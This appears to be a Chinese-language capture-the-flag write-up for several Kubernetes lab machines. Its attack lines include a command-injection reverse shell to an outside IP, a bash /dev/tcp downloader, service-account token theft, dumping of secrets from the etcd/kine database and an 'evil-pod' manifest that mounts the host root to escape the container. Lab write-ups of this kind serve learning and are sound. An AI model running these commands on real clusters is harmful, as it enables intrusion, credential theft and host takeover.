Kubernetes for Everyone

fscan 输出结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
start infoscan
(icmp) Target 10.10.58.32 is alive
[*] Icmp alive hosts len is: 1
10.10.58.32:111 open
10.10.58.32:22 open
10.10.58.32:3000 open
10.10.58.32:5000 open
10.10.58.32:6443 open
[*] alive ports len is: 5
start vulscan
[*] WebTitle: http://10.10.58.32:5000 code:200 len:887 title:Etch a Sketch
[*] WebTitle: http://10.10.58.32:3000 code:302 len:29 title:None 跳转url: http://10.10.58.32:3000/login
[*] WebTitle: https://10.10.58.32:6443 code:401 len:157 title:None
[*] WebTitle: http://10.10.58.32:3000/login code:200 len:28034 title:Grafana

image-20240123145853723

8.3.0存在任意文件读取的洞

image-20240123150003340

这最后一行可以留个印象 等会会用到

5000端口

image-20240123150136733

这个注释有东西

image-20240123150258265

访问该网站 得到了这个base32加密的东西

解密得到 vagrant (用户名)

上面的留意的那个是密码 然后ssh登录上去

image-20240123150543566

k0s (k8s 轻量版), kine (etcd), 还有 docker

etcd 可以理解为数据库 里面存一些配置文件啥的

k8s相当于docker pods相当于docker里的容器

这里将数据库拖到本地看 因为这个玩意太卡了

image-20240123150822438

image-20240123150907144

开个服务传到本地就行了

根据提示去 secrets 里面找内容

1
select name,hex(value) from kine where name like '%/registry/secrets/default/%';

image-20240123151124810

image-20240123151142011

然后本地解码一下

image-20240123151418110

image-20240123151405052

一般在 kube-system 里面的 pod 都是 k8s 自己的服务, 并且会有一段随机后缀

但是这里没

image-20240123151742053

读取一下里面的内容

1
select hex(value) from kine where name like '%/registry/pods/kube-system/kube-api%';

image-20240123151841121

这里其实也是对hex编码 然后我们还是挨个解码 并且访问

这里解码得出 https://hub.docker.com/r/csaju/jokes

我们将其docker pull 一下 拉到本地

1
docker run -it --entrypoint /bin/bash csaju/jokes

image-20240123152250591

查看git日志 然后挨个看看提交了什么

image-20240123152318902

flag到手

最后需要找 interview 什么的

发现 internship-job-5drbm 的 pod

image-20240123152556053

去读取他的值

1
select hex(value) from kine where name like '%/registry/pods/internship/internship-job-5drbm%';

image-20240123152630373

还是一样去解码

这里用一下xz师傅的图

image-20240123152655738

Insekube

image-20240124092831717

这傻逼靶机也出问题了 就是80端口扫不出来 直接80端口访问是可以的

image-20240124093043052

一个ping命令的RCE

1
1;bash -i >& /dev/tcp/10.14.53.199/1234 0>&1

image-20240124093108489

image-20240124093142096

环境变量中有flag 然后也发现了 其使用K8s来管理这些容器 说明我们现在也在容器中 没在真正的服务器里

上传kubectl

image-20240124093839741

查看开了哪些容器看不了 然后就看一下开了哪些权限

1
2
./kubectl get pods
./kubectl auth can-i --list

发现这里这个secrets可以读

image-20240124093948202

1
./kube* get secrets

接着读这个flag

image-20240124094039732

1
2
3
./kube* get secrets secretflag -o json

//将结果以json的格式进行输出 base64解码就能拿到flag了

image-20240124095344016

查看环境变量发现存在个内网的GRAFANA 上个代理出来访问

image-20240124095702695

1
2
3
/var/run/secrets/kubernetes.io/serviceaccount/token

//这个是服务账户的令牌位置 (一般是最高权限了)

image-20240124100007465

1
./kube* get pods --token $token

image-20240124100056144

出现这个的话就是代表着有了最高权限了 我们进入到grafana这个容器内

image-20240124100248729

1
./kube* exec -it grafana-57454c95cb-f9js5 bash --token $token

第三个flag到位了

最后一步进行k8s逃逸 (其实和docker逃逸差不多)

先获取一下镜像名

1
./kubectl get pods --all-namespaces -o=jsonpath='{range .items[*].spec.containers[*]}{.image}{"\n"}{end}'

image-20240124100528405

这里选的是这个syringe:latest

evil-pod.yaml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
apiVersion: v1
kind: Pod
metadata:
name: evil-pod
spec:
containers:
- image: syringe:latest
name: evil-container
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /host
name: evil-volume
volumes:
- name: evil-volume
hostPath:
path: /

上传到容器内

image-20240124100759671

1
./kube* apply -f evil* --token $token

然后运行 新建一个容器 /host目录挂载着这个逃逸出来主机的根目录

image-20240124100912560

然后进入这个主机内

image-20240124101005758

1
./kube* exec -it evil-pod bash --token $token

这样就全部结束了

Frank and Herby try again…..

fscan

1
2
3
4
5
6
7
8
9
10
11
start infoscan
(icmp) Target 10.10.101.251 is alive
[*] Icmp alive hosts len is: 1
10.10.101.251:22 open
10.10.101.251:10255 open
10.10.101.251:10250 open
10.10.101.251:10257 open
10.10.101.251:10259 open
10.10.101.251:16443 open
10.10.101.251:25000 open
10.10.101.251:30679 open

image-20240124103458009

30679这个端口存在官方后门 直接找poc反弹shell

image-20240124103718385

image-20240124103724913

image-20240124103844826

这里wget命令没法用 直接用自定义的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function DOWNLOAD() {
url=$1
proto="http://"
host=${url/$proto/}
server=${host%%/*}
path=${host#*/}
DOC=/${path// /}
HOST=${server/:*/}

PORT=${server/*:/}
[[ -n ${PORT} ]] || PORT=80
PORT=$(( PORT + 0 ))

exec 3<>/dev/tcp/${HOST}/${PORT}
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
while IFS= read -r line ; do
[[ "${line}" == $'\r' ]] && break
done <&3
nul='\0'
while IFS= read -d '' -r x || { nul=""; [ -n "$x" ]; }; do
printf "%s${nul}" "${x}"
done <&3
exec 3>&-
}

image-20240124104132499

1
DOWNLOAD http://10.14.53.199:8000/kubectl > kubectl

在等这个下载过程中 发现这个kubectl还存在未授权访问 (10255端口)

image-20240124104431424

这里直接使用了这个镜像

(这里download下的好慢 感觉不如写个后门然后连蚁剑上传上去来的快)

image-20240124105351477

这个直接就是最高权限了

网卡死了。。。。。。。。。。。。。。。

接下来直接就是和上面一样 逃逸就行了

也是看镜像 然后逃逸 就行了

PalsForLife

感觉其他的都差不多 就这个稍微有点意思

rustscan

1
2
3
4
5
6
Open 10.10.19.196:22
Open 10.10.19.196:6443
Open 10.10.19.196:10250
Open 10.10.19.196:30180
Open 10.10.19.196:31112
Open 10.10.19.196:31111

挨个访问 挨个扫一下目录

31111 gitea

30180 /team dirsearch

image-20240126141306393

将这个base64编码解码后转化输出给PDF文件

image-20240126141411247

使用john工具来爆破一下密码

image-20240126141615560

爆破密码

image-20240126141625324

查看

image-20240126141642101

pdf内容

image-20240126141716751

不知道有啥用 接着去看gitea这个web页面 31111端口

image-20240126141809240

发现有个用户 尝试登录一下 使用pdf爆出来的字符串

image-20240126141847933

登录成功后发现有个私有仓库

image-20240126141938264

仓库的webhooks里就有个flag

然后查到这个gitea版本存在有个hook—RCE

https://github.com/p0dalirius/CVE-2020-14144-GiTea-git-hooks-rce

跟着来打就行了 这里新打的时候有个坑 就是邮件账户需要配置正确 不然会失败

image-20240126142917114

image-20240126143023021

第二个flag

image-20240126143534010

直接给了管理员权限 然后直接逃逸

image-20240126143929414

查看一下镜像

1
kubectl get pods --all-namespaces -o=jsonpath='{range .items[*].spec.containers[*]}{.image}{"\n"}{end}'

evil-pod.yaml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
apiVersion: v1
kind: Pod
metadata:
name: evil-pod
spec:
containers:
- image: nginx
name: evil-container
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /host
name: evil-volume
volumes:
- name: evil-volume
hostPath:
path: /

这里用的是这个nginx这个镜像

image-20240126144205643

1
2
3
./kube* apply -f evil-pod.yaml    //创建容器

./kube* get pods //查看容器

image-20240126144304547

进入到容器内

image-20240126144757619

拿到最后一个flag了 突然发现还有一个 猜测是在secret中

image-20240126145058000

image-20240126145110570

查看这个flag文件

image-20240126145131842

-n指定命名空间 -o 指定输出格式

然后解码就行了